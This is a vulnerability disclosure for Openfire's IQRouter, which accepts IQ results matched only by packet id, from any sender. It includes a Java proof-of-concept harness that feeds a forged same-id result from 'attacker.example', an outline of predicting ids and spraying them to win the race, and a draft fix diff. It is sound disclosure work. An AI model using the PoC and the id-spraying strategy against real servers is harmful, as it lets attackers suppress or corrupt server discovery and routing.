Summary
Openfire’s server-side IQ result listener dispatcher correlates IQ result and error stanzas only by packet id. In IQRouter, an inbound result addressed to the server can remove and complete an outstanding listener even when the response comes from a different XMPP sender than the entity that Openfire queried. An authenticated local user or federated peer can therefore suppress or prematurely complete server-originated discovery and component queries. This is practically relevant because Tinder-generated IQ ids have the form <random 0-999>-<process-wide incrementing counter>: an attacker that elicits and observes one server IQ can estimate the counter and race the 1,000 possible prefixes for a nearby outstanding request.
Affected
- Project: openfire
- Repo: GitHub - igniterealtime/Openfire: An XMPP server licensed under the Open Source Apache License. · GitHub
- Pinned ref: 46b02b767f1d599477050ff073a097bf70118f64
- Latest upstream checked: c81560fe359d96ddb73da4467ae0121034626c18 (2026-08-14), still affected
- Latest release checked: 5.1.1 (2026-07-07), still affected
- Severity: CVSS 3.1 4.2/10 —
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:L
Root cause
The production path starts in xmppserver/src/main/java/org/jivesoftware/openfire/IQRouter.java:90, where route(IQ packet) accepts an inbound IQ stanza and reads its sender from packet.getFrom(). If there is no local client session for that sender, or if the local session is authenticated, the guard at IQRouter.java:101 calls handle(packet). Listener registration at IQRouter.java:248 stores the callback in resultListeners by id and records timeout/node state, but does not store the JID that was queried. At IQRouter.java:305-316, any result or error with a matching id atomically removes and invokes the listener without comparing packet.getFrom() with the original request’s to. This happens before normal routing checks.
Openfire does overwrite the from address on client stanzas with the authenticated session JID. That prevents identity impersonation but does not prevent this attack: the defect is that a response from the attacker’s real, different JID is accepted. The same sink is present on current upstream. The only later IQRouter change found, OF-3334, changes timeout measurement to a monotonic clock and does not add sender correlation.
Server-generated requests using the listener include entity-capability discovery, remote-user discovery, multicast discovery, and synchronous internal-component queries. MulticastRouter is the most security-relevant consumer because it uses response senders and discovery content to update domain/node and multicast-service routing caches. Entity-capability hash validation limits arbitrary capability injection, but does not prevent consumption of the listener and suppression of the legitimate answer.
Reproduction
bash ./poc/run.sh
POC_TRIGGERED: Openfire IQResultListener accepted same-id result from attacker.example
That line is printed only after the harness first sends a wrong-id result that does not reach the listener, then sends a same-id result from attacker.example/resource that does. A build or runtime failure without this fingerprint is not this bug firing.
The harness exercises the production IQRouter.route() and listener-dispatch code in process. It proves the vulnerable sink, but it does not emulate C2S/S2S parsing, predict an unknown id, win a network race, or demonstrate a downstream cache-poisoning effect. A complete end-to-end exploit should first elicit a server IQ to learn Tinder’s counter, spray the 1,000 prefixes for a nearby counter from a real authenticated connection, and show suppression or corruption of a concrete listener consumer.
PoC source
import org.jivesoftware.openfire.IQRouter;
import org.jivesoftware.openfire.RoutingTable;
import org.jivesoftware.openfire.SessionManager;
import org.jivesoftware.openfire.XMPPServer;
import org.jivesoftware.openfire.cluster.NodeID;
import org.jivesoftware.openfire.session.DomainPair;
import org.xmpp.component.IQResultListener;
import org.xmpp.packet.IQ;
import org.xmpp.packet.JID;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicReference;
import sun.misc.Unsafe;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.mock;
import static org.mockito.Mockito.when;
public class OpenfireIqResultListenerSenderCorrelationPoc {
private static final String REQUEST_ID = "of-poc-001";
public static void main(String[] args) throws Exception {
XMPPServer server = allocateServerShell();
server.setNodeID(NodeID.getInstance("poc-node".getBytes(StandardCharsets.UTF_8)));
XMPPServer.setInstance(server);
IQRouter router = new IQRouter();
setField(router, "serverName", "local.example");
RoutingTable routingTable = mock(RoutingTable.class);
when(routingTable.hasComponentRoute(any(JID.class))).thenReturn(false);
when(routingTable.hasServerRoute(any(DomainPair.class))).thenReturn(false);
setField(router, "routingTable", routingTable);
SessionManager sessionManager = mock(SessionManager.class);
when(sessionManager.getSession(any(JID.class))).thenReturn(null);
setField(router, "sessionManager", sessionManager);
AtomicReference<IQ> accepted = new AtomicReference<>();
router.addIQResultListener(REQUEST_ID, new IQResultListener() {
@Override
public void receivedAnswer(IQ packet) {
accepted.set(packet);
}
@Override
public void answerTimeout(String packetId) {
throw new AssertionError("unexpected timeout for " + packetId);
}
});
IQ wrongId = new IQ(IQ.Type.result);
wrongId.setID("wrong-id");
wrongId.setFrom("attacker.example/resource");
wrongId.setTo("local.example");
router.route(wrongId);
if (accepted.get() != null) {
throw new AssertionError("wrong-id control unexpectedly reached listener");
}
IQ sameIdUnexpectedSender = new IQ(IQ.Type.result);
sameIdUnexpectedSender.setID(REQUEST_ID);
sameIdUnexpectedSender.setFrom("attacker.example/resource");
sameIdUnexpectedSender.setTo("local.example");
router.route(sameIdUnexpectedSender);
IQ packet = accepted.get();
if (packet == null) {
throw new AssertionError("same-id attacker result did not reach listener");
}
if (!"attacker.example/resource".equals(packet.getFrom().toString())) {
throw new AssertionError("listener saw unexpected sender: " + packet.getFrom());
}
System.out.println("POC_TRIGGERED: Openfire IQResultListener accepted same-id result from attacker.example");
}
private static XMPPServer allocateServerShell() throws Exception {
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return (XMPPServer) unsafe.allocateInstance(XMPPServer.class);
}
private static void setField(Object target, String name, Object value) throws Exception {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
}
}
Impact
An attacker needs an authenticated local XMPP session or control of a federated peer, an in-flight server-originated listener, and the ability to win a race for its id. The id has only 1,000 random-prefix possibilities plus a process-wide counter, so an attacker can learn an approximate counter from an IQ legitimately addressed to it and spray candidate ids. A winning forged response consumes the one-shot listener before the legitimate answer arrives. Effects vary by consumer: denial or premature completion of discovery and component queries, incorrect discovery state, and potentially attacker-influenced multicast routing caches. The current PoC proves listener consumption, not reliable network exploitation, arbitrary capability injection, or traffic interception.
Suggested fix
Store the listener and expected responder together in one immutable pending-request value. Consume that value atomically only when both the id and sender match; a mismatched response must be ignored without removing the legitimate listener. Update every core registration call to supply the outgoing IQ’s to, add bare/full-JID compatibility tests where required by XMPP semantics, and use unpredictable UUID-based IQ ids as defense in depth.
The draft below illustrates the intended sender check, but is not submission-ready:
- The legacy overload records no expected sender and then accepts only a response whose
fromis null, which would silently break third-party plugin callers. - Its
get()followed byremove()is not an atomic consume operation, so concurrent matching responses can invoke one listener more than once. - Exact JID equality needs tests for bare-JID requests and server-on-behalf-of-account response rules.
- Keeping listeners and expected senders in separate maps makes lifecycle consistency and cluster behavior harder to guarantee.
--- a/xmppserver/src/main/java/org/jivesoftware/openfire/IQRouter.java
+++ b/xmppserver/src/main/java/org/jivesoftware/openfire/IQRouter.java
@@ -62,6 +62,7 @@
private final List<IQHandler> iqHandlers = new ArrayList<>();
private final Map<String, IQHandler> namespace2Handlers = new ConcurrentHashMap<>();
private final Map<String, IQResultListener> resultListeners = new ConcurrentHashMap<>();
+ private final Map<String, JID> resultExpectedSenders = new ConcurrentHashMap<>();
private final Map<String, Long> resultTimeout = new ConcurrentHashMap<>();
private final Cache<String, NodeID> resultPending = CacheFactory.createCache("Routing Result Listeners");
private SessionManager sessionManager;
@@ -217,6 +218,10 @@
addIQResultListener(id, listener, 60 * 1000);
}
+ public void addIQResultListener(String id, JID expectedSender, IQResultListener listener) {
+ addIQResultListener(id, expectedSender, listener, 60 * 1000);
+ }
+
/**
* Adds an {@link IQResultListener} that will be invoked when an IQ result
* is sent to the server itself and is of type result or error. This is a
@@ -246,7 +251,33 @@
* should be stopped.
*/
public void addIQResultListener(String id, IQResultListener listener, long timeoutmillis) {
+ addIQResultListener(id, null, listener, timeoutmillis);
+ }
+
+ /**
+ * Adds an {@link IQResultListener} that will be invoked when an IQ result
+ * or error is received from the entity to which the server sent the IQ
+ * request.
+ *
+ * @param id
+ * the id of the IQ packet being sent from the server to an XMPP
+ * entity.
+ * @param expectedSender
+ * the entity that is expected to answer the IQ packet.
+ * @param listener
+ * the IQResultListener that will be invoked when an answer is
+ * received.
+ * @param timeoutmillis
+ * The amount of milliseconds after which waiting for a response
+ * should be stopped.
+ */
+ public void addIQResultListener(String id, JID expectedSender, IQResultListener listener, long timeoutmillis) {
resultListeners.put(id, listener);
+ if (expectedSender != null) {
+ resultExpectedSenders.put(id, expectedSender);
+ } else {
+ resultExpectedSenders.remove(id);
+ }
resultPending.put(id, XMPPServer.getInstance().getNodeID());
resultTimeout.put(id, System.currentTimeMillis() + timeoutmillis);
}
@@ -308,17 +339,18 @@
// If there's a listener for this result at all, then it's likely that that listener had been registered
// on this cluster node. For efficiency, try the local cluster node before triggering tasks in the rest
// of the cluster.
- IQResultListener iqResultListener = resultListeners.remove(packet.getID());
+ IQResultListener iqResultListener = resultListeners.get(packet.getID());
if (iqResultListener != null) {
- resultTimeout.remove(packet.getID());
- resultPending.remove(packet.getID());
- try {
- iqResultListener.receivedAnswer(packet);
- }
- catch (Exception e) {
- Log.error("Error processing answer of remote entity. Answer: " + packet.toXML(), e);
+ if (isExpectedIQResultSender(packet)) {
+ removeIQResultListener(packet.getID());
+ try {
+ iqResultListener.receivedAnswer(packet);
+ }
+ catch (Exception e) {
+ Log.error("Error processing answer of remote entity. Answer: " + packet.toXML(), e);
+ }
+ return;
}
- return;
} else if (ClusterManager.isClusteringStarted() ) {
// Only do lookups in the cluster, after it's determined that the local node cannot process the result.
final NodeID nodeID = resultPending.remove(packet.getID()); // remove it, to reduce the risk of this packet being sent back and forth.
@@ -459,6 +491,22 @@
}
}
+ private void removeIQResultListener(String packetId) {
+ resultListeners.remove(packetId);
+ resultTimeout.remove(packetId);
+ resultPending.remove(packetId);
+ resultExpectedSenders.remove(packetId);
+ }
+
+ private boolean isExpectedIQResultSender(IQ packet) {
+ final JID expectedSender = resultExpectedSenders.get(packet.getID());
+ if (expectedSender != null) {
+ return expectedSender.equals(packet.getFrom());
+ }
+
+ return packet.getFrom() == null;
+ }
+
private void sendErrorPacket(IQ originalPacket, PacketError.Condition condition) {
if (IQ.Type.error == originalPacket.getType()) {
Log.error("Cannot reply an IQ error to another IQ error: " + originalPacket.toXML());
@@ -564,6 +613,8 @@
// notify listener of the timeout.
listener.answerTimeout(packetId);
}
+ resultExpectedSenders.remove(packetId);
+ resultPending.remove(packetId);
// remove the packet from the list that's used to track
// timeouts
--- a/xmppserver/src/main/java/org/jivesoftware/openfire/entitycaps/EntityCapabilitiesManager.java
+++ b/xmppserver/src/main/java/org/jivesoftware/openfire/entitycaps/EntityCapabilitiesManager.java
@@ -307,7 +307,7 @@
verAttributes.put(packetId, caps);
final IQRouter iqRouter = XMPPServer.getInstance().getIQRouter();
- iqRouter.addIQResultListener(packetId, this);
+ iqRouter.addIQResultListener(packetId, iq.getTo(), this);
iqRouter.route(iq);
} catch ( RuntimeException e ) {
// If any subsequent step fails, the pending marker must be removed so that future presence packets for this 'ver' hash are not permanently suppressed.
--- a/xmppserver/src/main/java/org/jivesoftware/openfire/user/UserManager.java
+++ b/xmppserver/src/main/java/org/jivesoftware/openfire/user/UserManager.java
@@ -466,7 +466,7 @@
// Send the disco#info request to the remote server.
final IQRouter iqRouter = xmppServer.getIQRouter();
final long timeoutInMillis = REMOTE_DISCO_INFO_TIMEOUT.getValue().toMillis();
- iqRouter.addIQResultListener(iq.getID(), new IQResultListener() {
+ iqRouter.addIQResultListener(iq.getID(), iq.getTo(), new IQResultListener() {
@Override
public void receivedAnswer(final IQ packet) {
final JID from = packet.getFrom();
--- a/xmppserver/src/main/java/org/jivesoftware/openfire/component/InternalComponentManager.java
+++ b/xmppserver/src/main/java/org/jivesoftware/openfire/component/InternalComponentManager.java
@@ -345,7 +345,7 @@
@Override
public IQ query(Component component, IQ packet, long timeout) throws ComponentException {
final LinkedBlockingQueue<IQ> answer = new LinkedBlockingQueue<>(8);
- XMPPServer.getInstance().getIQRouter().addIQResultListener(packet.getID(), new IQResultListener() {
+ XMPPServer.getInstance().getIQRouter().addIQResultListener(packet.getID(), packet.getTo(), new IQResultListener() {
@Override
public void receivedAnswer(IQ packet) {
answer.offer(packet);
@@ -368,7 +368,7 @@
@Override
public void query(Component component, IQ packet, IQResultListener listener) throws ComponentException {
- XMPPServer.getInstance().getIQRouter().addIQResultListener(packet.getID(), listener);
+ XMPPServer.getInstance().getIQRouter().addIQResultListener(packet.getID(), packet.getTo(), listener);
sendPacket(component, packet);
}
--- a/xmppserver/src/main/java/org/jivesoftware/openfire/MulticastRouter.java
+++ b/xmppserver/src/main/java/org/jivesoftware/openfire/MulticastRouter.java
@@ -211,7 +211,7 @@
nodes.put(domain, new CopyOnWriteArrayList<>());
// Send the disco#info request to the remote server or component. The reply will be
// processed by the IQResultListener (interface that this class implements)
- iqRouter.addIQResultListener(iq.getID(), this);
+ iqRouter.addIQResultListener(iq.getID(), iq.getTo(), this);
iqRouter.route(iq);
}
}
@@ -328,7 +328,7 @@
iq.setChildElement("query", "http://jabber.org/protocol/disco#items");
// Send the disco#items request to the remote server or component. The reply will be
// processed by the IQResultListener (interface that this class implements)
- iqRouter.addIQResultListener(iq.getID(), this);
+ iqRouter.addIQResultListener(iq.getID(), iq.getTo(), this);
iqRouter.route(iq);
}
else if (!isRoot) {
@@ -386,7 +386,7 @@
}
// Send the disco#info request to the discovered item. The reply will be
// processed by the IQResultListener (interface that this class implements)
- iqRouter.addIQResultListener(iq.getID(), this);
+ iqRouter.addIQResultListener(iq.getID(), iq.getTo(), this);
iqRouter.route(iq);
}
}
Existing fixes and duplicate search
No matching fix or Openfire-specific public report was found as of 2026-08-18. The current upstream IQRouter still dispatches by id alone. OF-3334 only changes timeout measurement. GitHub issue/PR, commit-history, published advisory, indexed Jira, and Ignite Realtime forum searches found no duplicate. Openfire PR #1688 concerns cross-cluster listener delivery, while PR #3166 concerns duplicate entity-capability queries; neither addresses response-sender correlation. Private reports and non-public tracker entries cannot be excluded.
The 2014 expired Internet-Draft draft-alkemade-xmpp-iq-validation-00 is direct public prior art for the general vulnerability class: it recommends storing the outgoing id and to, rejecting a matching-id response from a different from, and using unpredictable ids. It is not an Openfire-specific duplicate. The Ignite Realtime forum thread “Protection against forged IQ” discusses stamping inbound client stanzas with the authenticated JID, not binding an IQ response to the entity queried.
References:
- https://raw.githubusercontent.com/igniterealtime/Openfire/main/xmppserver/src/main/java/org/jivesoftware/openfire/IQRouter.java
- Release Openfire 5.1.1 Release · igniterealtime/Openfire · GitHub
- OF-3334: Use monotonic timers forIQRouter · igniterealtime/Openfire@0ffe8a4 · GitHub
- draft-alkemade-xmpp-iq-validation-00
- Protection against forged IQ
Reported by Team Atlanta.